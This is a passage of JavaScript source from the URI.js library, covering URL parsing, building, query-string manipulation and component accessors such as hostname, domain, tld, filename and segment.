bracketPos;\n    var t;\n\n    if (pos === -1) {\n      pos = string.length;\n    }\n\n    if (string.charAt(0) === '[') {\n      // IPv6 host - http://tools.ietf.org/html/draft-ietf-6man-text-addr-representation-04#section-6\n      // I claim most client software breaks on IPv6 anyways. To simplify things, URI only accepts\n      // IPv6+port in the format [2001:db8::1]:80 (for the time being)\n      bracketPos = string.indexOf(']');\n      parts.hostname = string.substring(1, bracketPos) || null;\n      parts.port = string.substring(bracketPos + 2, pos) || null;\n      if (parts.port === '/') {\n        parts.port = null;\n      }\n    } else {\n      var firstColon = string.indexOf(':');\n      var firstSlash = string.indexOf('/');\n      var nextColon = string.indexOf(':', firstColon + 1);\n      if (nextColon !== -1 && (firstSlash === -1 || nextColon < firstSlash)) {\n        // IPv6 host contains multiple colons - but no port\n        // this notation is actually not allowed by RFC 3986, but we're a liberal parser\n        parts.hostname = string.substring(0, pos) || null;\n        parts.port = null;\n      } else {\n        t = string.substring(0, pos).split(':');\n        parts.hostname = t[0] || null;\n        parts.port = t[1] || null;\n      }\n    }\n\n    if (parts.hostname && string.substring(pos).charAt(0) !== '/') {\n      pos++;\n      string = '/' + string;\n    }\n\n    return string.substring(pos) || '/';\n  };\n  URI.parseAuthority = function(string, parts) {\n    string = URI.parseUserinfo(string, parts);\n    return URI.parseHost(string, parts);\n  };\n  URI.parseUserinfo = function(string, parts) {\n    // extract username:password\n    var firstSlash = string.indexOf('/');\n    var pos = string.lastIndexOf('@', firstSlash > -1 ? firstSlash : string.length - 1);\n    var t;\n\n    // authority@ must come before /path\n    if (pos > -1 && (firstSlash === -1 || pos < firstSlash)) {\n      t = string.substring(0, pos).split(':');\n      parts.username = t[0] ? URI.decode(t[0]) : null;\n      t.shift();\n      parts.password = t[0] ? URI.decode(t.join(':')) : null;\n      string = string.substring(pos + 1);\n    } else {\n      parts.username = null;\n      parts.password = null;\n    }\n\n    return string;\n  };\n  URI.parseQuery = function(string, escapeQuerySpace) {\n    if (!string) {\n      return {};\n    }\n\n    // throw out the funky business - \"?\"[name\"=\"value\"&\"]+\n    string = string.replace(/&+/g, '&').replace(/^\\?*&*|&+$/g, '');\n\n    if (!string) {\n      return {};\n    }\n\n    var items = {};\n    var splits = string.split('&');\n    var length = splits.length;\n    var v, name, value;\n\n    for (var i = 0; i < length; i++) {\n      v = splits[i].split('=');\n      name = URI.decodeQuery(v.shift(), escapeQuerySpace);\n      // no \"=\" is null according to http://dvcs.w3.org/hg/url/raw-file/tip/Overview.html#collect-url-parameters\n      value = v.length ? URI.decodeQuery(v.join('='), escapeQuerySpace) : null;\n\n      if (hasOwn.call(items, name)) {\n        if (typeof items[name] === 'string' || items[name] === null) {\n          items[name] = [items[name]];\n        }\n\n        items[name].push(value);\n      } else {\n        items[name] = value;\n      }\n    }\n\n    return items;\n  };\n\n  URI.build = function(parts) {\n    var t = '';\n\n    if (parts.protocol) {\n      t += parts.protocol + ':';\n    }\n\n    if (!parts.urn && (t || parts.hostname)) {\n      t += '//';\n    }\n\n    t += (URI.buildAuthority(parts) || '');\n\n    if (typeof parts.path === 'string') {\n      if (parts.path.charAt(0) !== '/' && typeof parts.hostname === 'string') {\n        t += '/';\n      }\n\n      t += parts.path;\n    }\n\n    if (typeof parts.query === 'string' && parts.query) {\n      t += '?' + parts.query;\n    }\n\n    if (typeof parts.fragment === 'string' && parts.fragment) {\n      t += '#' + parts.fragment;\n    }\n    return t;\n  };\n  URI.buildHost = function(parts) {\n    var t = '';\n\n    if (!parts.hostname) {\n      return '';\n    } else if (URI.ip6_expression.test(parts.hostname)) {\n      t += '[' + parts.hostname + ']';\n    } else {\n      t += parts.hostname;\n    }\n\n    if (parts.port) {\n      t += ':' + parts.port;\n    }\n\n    return t;\n  };\n  URI.buildAuthority = function(parts) {\n    return URI.buildUserinfo(parts) + URI.buildHost(parts);\n  };\n  URI.buildUserinfo = function(parts) {\n    var t = '';\n\n    if (parts.username) {\n      t += URI.encode(parts.username);\n\n      if (parts.password) {\n        t += ':' + URI.encode(parts.password);\n      }\n\n      t += '@';\n    }\n\n    return t;\n  };\n  URI.buildQuery = function(data, duplicateQueryParameters, escapeQuerySpace) {\n    // according to http://tools.ietf.org/html/rfc3986 or http://labs.apache.org/webarch/uri/rfc/rfc3986.html\n    // being »-._~!$&'()*+,;=:@/?« %HEX and alnum are allowed\n    // the RFC explicitly states ?/foo being a valid use case, no mention of parameter syntax!\n    // URI.js treats the query string as being application/x-www-form-urlencoded\n    // see http://www.w3.org/TR/REC-html40/interact/forms.html#form-content-type\n\n    var t = '';\n    var unique, key, i, length;\n    for (key in data) {\n      if (hasOwn.call(data, key) && key) {\n        if (isArray(data[key])) {\n          unique = {};\n          for (i = 0, length = data[key].length; i < length; i++) {\n            if (data[key][i] !== undefined && unique[data[key][i] + ''] === undefined) {\n              t += '&' + URI.buildQueryParameter(key, data[key][i], escapeQuerySpace);\n              if (duplicateQueryParameters !== true) {\n                unique[data[key][i] + ''] = true;\n              }\n            }\n          }\n        } else if (data[key] !== undefined) {\n          t += '&' + URI.buildQueryParameter(key, data[key], escapeQuerySpace);\n        }\n      }\n    }\n\n    return t.substring(1);\n  };\n  URI.buildQueryParameter = function(name, value, escapeQuerySpace) {\n    // http://www.w3.org/TR/REC-html40/interact/forms.html#form-content-type -- application/x-www-form-urlencoded\n    // don't append \"=\" for null values, according to http://dvcs.w3.org/hg/url/raw-file/tip/Overview.html#url-parameter-serialization\n    return URI.encodeQuery(name, escapeQuerySpace) + (value !== null ? '=' + URI.encodeQuery(value, escapeQuerySpace) : '');\n  };\n\n  URI.addQuery = function(data, name, value) {\n    if (typeof name === 'object') {\n      for (var key in name) {\n        if (hasOwn.call(name, key)) {\n          URI.addQuery(data, key, name[key]);\n        }\n      }\n    } else if (typeof name === 'string') {\n      if (data[name] === undefined) {\n        data[name] = value;\n        return;\n      } else if (typeof data[name] === 'string') {\n        data[name] = [data[name]];\n      }\n\n      if (!isArray(value)) {\n        value = [value];\n      }\n\n      data[name] = (data[name] || []).concat(value);\n    } else {\n      throw new TypeError('URI.addQuery() accepts an object, string as the name parameter');\n    }\n  };\n  URI.removeQuery = function(data, name, value) {\n    var i, length, key;\n\n    if (isArray(name)) {\n      for (i = 0, length = name.length; i < length; i++) {\n        data[name[i]] = undefined;\n      }\n    } else if (getType(name) === 'RegExp') {\n      for (key in data) {\n        if (name.test(key)) {\n          data[key] = undefined;\n        }\n      }\n    } else if (typeof name === 'object') {\n      for (key in name) {\n        if (hasOwn.call(name, key)) {\n          URI.removeQuery(data, key, name[key]);\n        }\n      }\n    } else if (typeof name === 'string') {\n      if (value !== undefined) {\n        if (getType(value) === 'RegExp') {\n          if (!isArray(data[name]) && value.test(data[name])) {\n            data[name] = undefined;\n          } else {\n            data[name] = filterArrayValues(data[name], value);\n          }\n        } else if (data[name] === String(value) && (!isArray(value) || value.length === 1)) {\n          data[name] = undefined;\n        } else if (isArray(data[name])) {\n          data[name] = filterArrayValues(data[name], value);\n        }\n      } else {\n        data[name] = undefined;\n      }\n    } else {\n      throw new TypeError('URI.removeQuery() accepts an object, string, RegExp as the first parameter');\n    }\n  };\n  URI.hasQuery = function(data, name, value, withinArray) {\n    if (typeof name === 'object') {\n      for (var key in name) {\n        if (hasOwn.call(name, key)) {\n          if (!URI.hasQuery(data, key, name[key])) {\n            return false;\n          }\n        }\n      }\n\n      return true;\n    } else if (typeof name !== 'string') {\n      throw new TypeError('URI.hasQuery() accepts an object, string as the name parameter');\n    }\n\n    switch (getType(value)) {\n      case 'Undefined':\n        // true if exists (but may be empty)\n        return name in data; // data[name] !== undefined;\n\n      case 'Boolean':\n        // true if exists and non-empty\n        var _booly = Boolean(isArray(data[name]) ? data[name].length : data[name]);\n        return value === _booly;\n\n      case 'Function':\n        // allow complex comparison\n        return !!value(data[name], name, data);\n\n      case 'Array':\n        if (!isArray(data[name])) {\n          return false;\n        }\n\n        var op = withinArray ? arrayContains : arraysEqual;\n        return op(data[name], value);\n\n      case 'RegExp':\n        if (!isArray(data[name])) {\n          return Boolean(data[name] && data[name].match(value));\n        }\n\n        if (!withinArray) {\n          return false;\n        }\n\n        return arrayContains(data[name], value);\n\n      case 'Number':\n        value = String(value);\n        /* falls through */\n      case 'String':\n        if (!isArray(data[name])) {\n          return data[name] === value;\n        }\n\n        if (!withinArray) {\n          return false;\n        }\n\n        return arrayContains(data[name], value);\n\n      default:\n        throw new TypeError('URI.hasQuery() accepts undefined, boolean, string, number, RegExp, Function as the value parameter');\n    }\n  };\n\n\n  URI.commonPath = function(one, two) {\n    var length = Math.min(one.length, two.length);\n    var pos;\n\n    // find first non-matching character\n    for (pos = 0; pos < length; pos++) {\n      if (one.charAt(pos) !== two.charAt(pos)) {\n        pos--;\n        break;\n      }\n    }\n\n    if (pos < 1) {\n      return one.charAt(0) === two.charAt(0) && one.charAt(0) === '/' ? '/' : '';\n    }\n\n    // revert to last /\n    if (one.charAt(pos) !== '/' || two.charAt(pos) !== '/') {\n      pos = one.substring(0, pos).lastIndexOf('/');\n    }\n\n    return one.substring(0, pos + 1);\n  };\n\n  URI.withinString = function(string, callback, options) {\n    options || (options = {});\n    var _start = options.start || URI.findUri.start;\n    var _end = options.end || URI.findUri.end;\n    var _trim = options.trim || URI.findUri.trim;\n    var _attributeOpen = /[a-z0-9-]=[\"']?$/i;\n\n    _start.lastIndex = 0;\n    while (true) {\n      var match = _start.exec(string);\n      if (!match) {\n        break;\n      }\n\n      var start = match.index;\n      if (options.ignoreHtml) {\n        // attribut(e=[\"']?$)\n        var attributeOpen = string.slice(Math.max(start - 3, 0), start);\n        if (attributeOpen && _attributeOpen.test(attributeOpen)) {\n          continue;\n        }\n      }\n\n      var end = start + string.slice(start).search(_end);\n      var slice = string.slice(start, end).replace(_trim, '');\n      if (options.ignore && options.ignore.test(slice)) {\n        continue;\n      }\n\n      end = start + slice.length;\n      var result = callback(slice, start, end, string);\n      string = string.slice(0, start) + result + string.slice(end);\n      _start.lastIndex = start + result.length;\n    }\n\n    _start.lastIndex = 0;\n    return string;\n  };\n\n  URI.ensureValidHostname = function(v) {\n    // Theoretically URIs allow percent-encoding in Hostnames (according to RFC 3986)\n    // they are not part of DNS and therefore ignored by URI.js\n\n    if (v.match(URI.invalid_hostname_characters)) {\n      // test punycode\n      if (!punycode) {\n        throw new TypeError('Hostname \"' + v + '\" contains characters other than [A-Z0-9.-] and Punycode.js is not available');\n      }\n\n      if (punycode.toASCII(v).match(URI.invalid_hostname_characters)) {\n        throw new TypeError('Hostname \"' + v + '\" contains characters other than [A-Z0-9.-]');\n      }\n    }\n  };\n\n  // noConflict\n  URI.noConflict = function(removeAll) {\n    if (removeAll) {\n      var unconflicted = {\n        URI: this.noConflict()\n      };\n\n      if (root.URITemplate && typeof root.URITemplate.noConflict === 'function') {\n        unconflicted.URITemplate = root.URITemplate.noConflict();\n      }\n\n      if (root.IPv6 && typeof root.IPv6.noConflict === 'function') {\n        unconflicted.IPv6 = root.IPv6.noConflict();\n      }\n\n      if (root.SecondLevelDomains && typeof root.SecondLevelDomains.noConflict === 'function') {\n        unconflicted.SecondLevelDomains = root.SecondLevelDomains.noConflict();\n      }\n\n      return unconflicted;\n    } else if (root.URI === this) {\n      root.URI = _URI;\n    }\n\n    return this;\n  };\n\n  p.build = function(deferBuild) {\n    if (deferBuild === true) {\n      this._deferred_build = true;\n    } else if (deferBuild === undefined || this._deferred_build) {\n      this._string = URI.build(this._parts);\n      this._deferred_build = false;\n    }\n\n    return this;\n  };\n\n  p.clone = function() {\n    return new URI(this);\n  };\n\n  p.valueOf = p.toString = function() {\n    return this.build(false)._string;\n  };\n\n\n  function generateSimpleAccessor(_part){\n    return function(v, build) {\n      if (v === undefined) {\n        return this._parts[_part] || '';\n      } else {\n        this._parts[_part] = v || null;\n        this.build(!build);\n        return this;\n      }\n    };\n  }\n\n  function generatePrefixAccessor(_part, _key){\n    return function(v, build) {\n      if (v === undefined) {\n        return this._parts[_part] || '';\n      } else {\n        if (v !== null) {\n          v = v + '';\n          if (v.charAt(0) === _key) {\n            v = v.substring(1);\n          }\n        }\n\n        this._parts[_part] = v;\n        this.build(!build);\n        return this;\n      }\n    };\n  }\n\n  p.protocol = generateSimpleAccessor('protocol');\n  p.username = generateSimpleAccessor('username');\n  p.password = generateSimpleAccessor('password');\n  p.hostname = generateSimpleAccessor('hostname');\n  p.port = generateSimpleAccessor('port');\n  p.query = generatePrefixAccessor('query', '?');\n  p.fragment = generatePrefixAccessor('fragment', '#');\n\n  p.search = function(v, build) {\n    var t = this.query(v, build);\n    return typeof t === 'string' && t.length ? ('?' + t) : t;\n  };\n  p.hash = function(v, build) {\n    var t = this.fragment(v, build);\n    return typeof t === 'string' && t.length ? ('#' + t) : t;\n  };\n\n  p.pathname = function(v, build) {\n    if (v === undefined || v === true) {\n      var res = this._parts.path || (this._parts.hostname ? '/' : '');\n      return v ? (this._parts.urn ? URI.decodeUrnPath : URI.decodePath)(res) : res;\n    } else {\n      if (this._parts.urn) {\n        this._parts.path = v ? URI.recodeUrnPath(v) : '';\n      } else {\n        this._parts.path = v ? URI.recodePath(v) : '/';\n      }\n      this.build(!build);\n      return this;\n    }\n  };\n  p.path = p.pathname;\n  p.href = function(href, build) {\n    var key;\n\n    if (href === undefined) {\n      return this.toString();\n    }\n\n    this._string = '';\n    this._parts = URI._parts();\n\n    var _URI = href instanceof URI;\n    var _object = typeof href === 'object' && (href.hostname || href.path || href.pathname);\n    if (href.nodeName) {\n      var attribute = URI.getDomAttribute(href);\n      href = href[attribute] || '';\n      _object = false;\n    }\n\n    // window.location is reported to be an object, but it's not the sort\n    // of object we're looking for:\n    // * location.protocol ends with a colon\n    // * location.query != object.search\n    // * location.hash != object.fragment\n    // simply serializing the unknown object should do the trick\n    // (for location, not for everything...)\n    if (!_URI && _object && href.pathname !== undefined) {\n      href = href.toString();\n    }\n\n    if (typeof href === 'string' || href instanceof String) {\n      this._parts = URI.parse(String(href), this._parts);\n    } else if (_URI || _object) {\n      var src = _URI ? href._parts : href;\n      for (key in src) {\n        if (hasOwn.call(this._parts, key)) {\n          this._parts[key] = src[key];\n        }\n      }\n    } else {\n      throw new TypeError('invalid input');\n    }\n\n    this.build(!build);\n    return this;\n  };\n\n  // identification accessors\n  p.is = function(what) {\n    var ip = false;\n    var ip4 = false;\n    var ip6 = false;\n    var name = false;\n    var sld = false;\n    var idn = false;\n    var punycode = false;\n    var relative = !this._parts.urn;\n\n    if (this._parts.hostname) {\n      relative = false;\n      ip4 = URI.ip4_expression.test(this._parts.hostname);\n      ip6 = URI.ip6_expression.test(this._parts.hostname);\n      ip = ip4 || ip6;\n      name = !ip;\n      sld = name && SLD && SLD.has(this._parts.hostname);\n      idn = name && URI.idn_expression.test(this._parts.hostname);\n      punycode = name && URI.punycode_expression.test(this._parts.hostname);\n    }\n\n    switch (what.toLowerCase()) {\n      case 'relative':\n        return relative;\n\n      case 'absolute':\n        return !relative;\n\n      // hostname identification\n      case 'domain':\n      case 'name':\n        return name;\n\n      case 'sld':\n        return sld;\n\n      case 'ip':\n        return ip;\n\n      case 'ip4':\n      case 'ipv4':\n      case 'inet4':\n        return ip4;\n\n      case 'ip6':\n      case 'ipv6':\n      case 'inet6':\n        return ip6;\n\n      case 'idn':\n        return idn;\n\n      case 'url':\n        return !this._parts.urn;\n\n      case 'urn':\n        return !!this._parts.urn;\n\n      case 'punycode':\n        return punycode;\n    }\n\n    return null;\n  };\n\n  // component specific input validation\n  var _protocol = p.protocol;\n  var _port = p.port;\n  var _hostname = p.hostname;\n\n  p.protocol = function(v, build) {\n    if (v !== undefined) {\n      if (v) {\n        // accept trailing ://\n        v = v.replace(/:(\\/\\/)?$/, '');\n\n        if (!v.match(URI.protocol_expression)) {\n          throw new TypeError('Protocol \"' + v + '\" contains characters other than [A-Z0-9.+-] or doesn\\'t start with [A-Z]');\n        }\n      }\n    }\n    return _protocol.call(this, v, build);\n  };\n  p.scheme = p.protocol;\n  p.port = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v !== undefined) {\n      if (v === 0) {\n        v = null;\n      }\n\n      if (v) {\n        v += '';\n        if (v.charAt(0) === ':') {\n          v = v.substring(1);\n        }\n\n        if (v.match(/[^0-9]/)) {\n          throw new TypeError('Port \"' + v + '\" contains characters other than [0-9]');\n        }\n      }\n    }\n    return _port.call(this, v, build);\n  };\n  p.hostname = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v !== undefined) {\n      var x = {};\n      var res = URI.parseHost(v, x);\n      if (res !== '/') {\n        throw new TypeError('Hostname \"' + v + '\" contains characters other than [A-Z0-9.-]');\n      }\n\n      v = x.hostname;\n    }\n    return _hostname.call(this, v, build);\n  };\n\n  // compound accessors\n  p.origin = function(v, build) {\n    var parts;\n\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v === undefined) {\n      var protocol = this.protocol();\n      var authority = this.authority();\n      if (!authority) return '';\n      return (protocol ? protocol + '://' : '') + this.authority();\n    } else {\n      var origin = URI(v);\n      this\n        .protocol(origin.protocol())\n        .authority(origin.authority())\n        .build(!build);\n      return this;\n    }\n  };\n  p.host = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v === undefined) {\n      return this._parts.hostname ? URI.buildHost(this._parts) : '';\n    } else {\n      var res = URI.parseHost(v, this._parts);\n      if (res !== '/') {\n        throw new TypeError('Hostname \"' + v + '\" contains characters other than [A-Z0-9.-]');\n      }\n\n      this.build(!build);\n      return this;\n    }\n  };\n  p.authority = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v === undefined) {\n      return this._parts.hostname ? URI.buildAuthority(this._parts) : '';\n    } else {\n      var res = URI.parseAuthority(v, this._parts);\n      if (res !== '/') {\n        throw new TypeError('Hostname \"' + v + '\" contains characters other than [A-Z0-9.-]');\n      }\n\n      this.build(!build);\n      return this;\n    }\n  };\n  p.userinfo = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v === undefined) {\n      if (!this._parts.username) {\n        return '';\n      }\n\n      var t = URI.buildUserinfo(this._parts);\n      return t.substring(0, t.length -1);\n    } else {\n      if (v[v.length-1] !== '@') {\n        v += '@';\n      }\n\n      URI.parseUserinfo(v, this._parts);\n      this.build(!build);\n      return this;\n    }\n  };\n  p.resource = function(v, build) {\n    var parts;\n\n    if (v === undefined) {\n      return this.path() + this.search() + this.hash();\n    }\n\n    parts = URI.parse(v);\n    this._parts.path = parts.path;\n    this._parts.query = parts.query;\n    this._parts.fragment = parts.fragment;\n    this.build(!build);\n    return this;\n  };\n\n  // fraction accessors\n  p.subdomain = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    // convenience, return \"www\" from \"www.example.org\"\n    if (v === undefined) {\n      if (!this._parts.hostname || this.is('IP')) {\n        return '';\n      }\n\n      // grab domain and add another segment\n      var end = this._parts.hostname.length - this.domain().length - 1;\n      return this._parts.hostname.substring(0, end) || '';\n    } else {\n      var e = this._parts.hostname.length - this.domain().length;\n      var sub = this._parts.hostname.substring(0, e);\n      var replace = new RegExp('^' + escapeRegEx(sub));\n\n      if (v && v.charAt(v.length - 1) !== '.') {\n        v += '.';\n      }\n\n      if (v) {\n        URI.ensureValidHostname(v);\n      }\n\n      this._parts.hostname = this._parts.hostname.replace(replace, v);\n      this.build(!build);\n      return this;\n    }\n  };\n  p.domain = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (typeof v === 'boolean') {\n      build = v;\n      v = undefined;\n    }\n\n    // convenience, return \"example.org\" from \"www.example.org\"\n    if (v === undefined) {\n      if (!this._parts.hostname || this.is('IP')) {\n        return '';\n      }\n\n      // if hostname consists of 1 or 2 segments, it must be the domain\n      var t = this._parts.hostname.match(/\\./g);\n      if (t && t.length < 2) {\n        return this._parts.hostname;\n      }\n\n      // grab tld and add another segment\n      var end = this._parts.hostname.length - this.tld(build).length - 1;\n      end = this._parts.hostname.lastIndexOf('.', end -1) + 1;\n      return this._parts.hostname.substring(end) || '';\n    } else {\n      if (!v) {\n        throw new TypeError('cannot set domain empty');\n      }\n\n      URI.ensureValidHostname(v);\n\n      if (!this._parts.hostname || this.is('IP')) {\n        this._parts.hostname = v;\n      } else {\n        var replace = new RegExp(escapeRegEx(this.domain()) + '$');\n        this._parts.hostname = this._parts.hostname.replace(replace, v);\n      }\n\n      this.build(!build);\n      return this;\n    }\n  };\n  p.tld = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (typeof v === 'boolean') {\n      build = v;\n      v = undefined;\n    }\n\n    // return \"org\" from \"www.example.org\"\n    if (v === undefined) {\n      if (!this._parts.hostname || this.is('IP')) {\n        return '';\n      }\n\n      var pos = this._parts.hostname.lastIndexOf('.');\n      var tld = this._parts.hostname.substring(pos + 1);\n\n      if (build !== true && SLD && SLD.list[tld.toLowerCase()]) {\n        return SLD.get(this._parts.hostname) || tld;\n      }\n\n      return tld;\n    } else {\n      var replace;\n\n      if (!v) {\n        throw new TypeError('cannot set TLD empty');\n      } else if (v.match(/[^a-zA-Z0-9-]/)) {\n        if (SLD && SLD.is(v)) {\n          replace = new RegExp(escapeRegEx(this.tld()) + '$');\n          this._parts.hostname = this._parts.hostname.replace(replace, v);\n        } else {\n          throw new TypeError('TLD \"' + v + '\" contains characters other than [A-Z0-9]');\n        }\n      } else if (!this._parts.hostname || this.is('IP')) {\n        throw new ReferenceError('cannot set TLD on non-domain host');\n      } else {\n        replace = new RegExp(escapeRegEx(this.tld()) + '$');\n        this._parts.hostname = this._parts.hostname.replace(replace, v);\n      }\n\n      this.build(!build);\n      return this;\n    }\n  };\n  p.directory = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v === undefined || v === true) {\n      if (!this._parts.path && !this._parts.hostname) {\n        return '';\n      }\n\n      if (this._parts.path === '/') {\n        return '/';\n      }\n\n      var end = this._parts.path.length - this.filename().length - 1;\n      var res = this._parts.path.substring(0, end) || (this._parts.hostname ? '/' : '');\n\n      return v ? URI.decodePath(res) : res;\n\n    } else {\n      var e = this._parts.path.length - this.filename().length;\n      var directory = this._parts.path.substring(0, e);\n      var replace = new RegExp('^' + escapeRegEx(directory));\n\n      // fully qualifier directories begin with a slash\n      if (!this.is('relative')) {\n        if (!v) {\n          v = '/';\n        }\n\n        if (v.charAt(0) !== '/') {\n          v = '/' + v;\n        }\n      }\n\n      // directories always end with a slash\n      if (v && v.charAt(v.length - 1) !== '/') {\n        v += '/';\n      }\n\n      v = URI.recodePath(v);\n      this._parts.path = this._parts.path.replace(replace, v);\n      this.build(!build);\n      return this;\n    }\n  };\n  p.filename = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v === undefined || v === true) {\n      if (!this._parts.path || this._parts.path === '/') {\n        return '';\n      }\n\n      var pos = this._parts.path.lastIndexOf('/');\n      var res = this._parts.path.substring(pos+1);\n\n      return v ? URI.decodePathSegment(res) : res;\n    } else {\n      var mutatedDirectory = false;\n\n      if (v.charAt(0) === '/') {\n        v = v.substring(1);\n      }\n\n      if (v.match(/\\.?\\//)) {\n        mutatedDirectory = true;\n      }\n\n      var replace = new RegExp(escapeRegEx(this.filename()) + '$');\n      v = URI.recodePath(v);\n      this._parts.path = this._parts.path.replace(replace, v);\n\n      if (mutatedDirectory) {\n        this.normalizePath(build);\n      } else {\n        this.build(!build);\n      }\n\n      return this;\n    }\n  };\n  p.suffix = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v === undefined || v === true) {\n      if (!this._parts.path || this._parts.path === '/') {\n        return '';\n      }\n\n      var filename = this.filename();\n      var pos = filename.lastIndexOf('.');\n      var s, res;\n\n      if (pos === -1) {\n        return '';\n      }\n\n      // suffix may only contain alnum characters (yup, I made this up.)\n      s = filename.substring(pos+1);\n      res = (/^[a-z0-9%]+$/i).test(s) ? s : '';\n      return v ? URI.decodePathSegment(res) : res;\n    } else {\n      if (v.charAt(0) === '.') {\n        v = v.substring(1);\n      }\n\n      var suffix = this.suffix();\n      var replace;\n\n      if (!suffix) {\n        if (!v) {\n          return this;\n        }\n\n        this._parts.path += '.' + URI.recodePath(v);\n      } else if (!v) {\n        replace = new RegExp(escapeRegEx('.' + suffix) + '$');\n      } else {\n        replace = new RegExp(escapeRegEx(suffix) + '$');\n      }\n\n      if (replace) {\n        v = URI.recodePath(v);\n        this._parts.path = this._parts.path.replace(replace, v);\n      }\n\n      this.build(!build);\n      return this;\n    }\n  };\n  p.segment = function(segment, v, build) {\n    var separator = this._parts.urn ? ':' : '/';\n    var path = this.path();\n    var absolute = path.substring(0, 1) === '/';\n    var segments = path.split(separator);\n\n    if (segment !== undefined && typeof segment !== 'number') {\n      build = v;\n      v = segment;\n      segment = undefined;\n    }\n\n    if (segment !== undefined && typeof segment !== 'number') {\n      throw new Error('Bad segment \"' + segment + '\", must be 0-based integer');\n    }\n\n    if (absolute) {\n      segments.shift();\n    }\n\n    if (segment < 0) {\n      // allow negative indexes to address from the end\n      segment = Math.max(segments.length + segment, 0);\n    }\n\n    if (v === undefined) {\n      /*jshint laxbreak: true */\n      return segment === undefined\n        ? segments\n        : segments[segment];\n      /*jshint laxbreak: false */\n    } else if (segment === null || segments[segment] === undefined) {\n      if (isArray(v)) {\n        segments = [];\n        // collapse empty elements within array\n        for (var i=0, l=v.length; i < l; i++) {\n          if (!v[i].length && (!segments.length || !segments[segments.length -1].length)) {\n            continue;\n          }\n\n          if (segments.length && !segments[segments.length -1].length) {\n            segments.pop();\n          }\n\n          segments.push(trimSlashes(v[i]));\n        }\n      } else if (v || typeof v === 'string') {\n        v = trimSlashes(v);\n        if (segments[segments.length -1] === '') {\n          // empty trailing elements have to be overwritten\n          // to prevent results such as /foo//bar\n          segments[segments.length -1] = v;\n        } else {\n          segments.push(v);\n        }\n      }\n    } else {\n      if (v) {\n        segments[segment] = trimSlashes(v);\n      } else {\n        segments.splice(segment, 1);\n      }\n    }\n\n    if (absolute) {\n      segments.unshift('');\n    }\n\n    return this.path(segments.join(separator), build);\n  };\n  p.segmentCoded = function(segment, v, build) {\n    var segments, i, l;\n\n    if (typeof segment !== 'number') {\n      build = v;\n      v = segment;\n      segment = undefined;\n    }\n\n    if (v === undefined) {\n      segments = this.segment(segment, v, build);\n      if (!isArray(segments)) {\n        segments = segments !== undefined ? URI.decode(segments) : undefined;\n      } else {\n        for (i = 0, l = segments.length; i < l; i++) {\n          segments[i] = URI.decode(segments[i]);\n        }\n      }\n\n      return segments;\n    }\n\n    if (!isArray(v)) {\n      v = (typeof v === 'string' || v instanceof String) ? URI.encode(v) : v;\n    } else {\n      for (i = 0, l = v.length; i < l; i++) {\n        v[i] = URI.encode(v[i]);\n      }\n    }\n\n    return this.segment(segment, v, build);\n  };\n\n  // mutating query string\n  var q = p.query;\n  p.query = function(v, build) {\n    if (v === true) {\n      return URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);\n    } else if (typeof v === 'function') {\n      var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);\n      var result = v.call(this, data);\n      this._parts.query = URI.buildQuery(result || data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);\n      this.build(!build);\n      return this;\n    } else if (v !== undefined && typeof v !== 'string') {\n      this._parts.query = URI.buildQuery(v, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);\n      this.build(!build);\n      return this;\n    } else {\n      return q.call(this, v, build);\n    }\n  };\n  p.setQuery = function(name, value, build) {\n    var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);\n\n    if (typeof name === 'string' || name instanceof String) {\n      data[name] = value !== undefined ? value : null;\n    } else if (typeof name === 'object') {\n      for (var key in name) {\n        if (hasOwn.call(name, key)) {\n          data[key] = name[key];\n        }\n      }\n    } else {\n      throw new TypeError('URI.addQuery() accepts an object, string as the name parameter');\n    }\n\n    this._parts.query = URI.buildQuery(data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);\n    if (typeof name !== 'string') {\n      build = value;\n    }\n\n    this.build(!build);\n    return this;\n  };\n  p.addQuery = function(name, value, build) {\n    var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);\n    URI.addQuery(data, name, value === undefined ? null : value);\n    this._parts.query = URI.buildQuery(data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);\n    if (typeof name !== 'string') {\n      build = value;\n    }\n\n    this.build(!build);\n    return this;\n  };\n  p.removeQuery = function(name, value, build) {\n    var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);\n    URI.removeQuery(data, name, value);\n    this._parts.query = URI.buildQuery(data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);\n    if (typeof name !== 'string') {\n      build = value;\n    }\n\n    this.build(!build);\n    return this;\n  };\n  p.hasQuery = function(name, value, withinArray) {\n    var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);\n    return URI.hasQuery(data, name, value, withinArray);\n  };\n  p.setSearch = p.setQuery;\n  p.addSearch = p.addQuery;\n  p.removeSearch = p.removeQuery;\n  p.hasSearch = p.hasQuery;\n\n  // sanitizing URLs\n  p.normalize = function() {\n    if (this._parts.urn) {\n      return this\n        .normalizeProtocol(false)\n        .normalizePath(false)\n        .normalizeQuery(false)\n        .normalizeFragment(false)\n        .build();\n    }\n\n    return this\n      .normalizeProtocol(false)\n      .normalizeHostname(false)\n      .normalizePort(false)\n      .normalizePath(false)\n      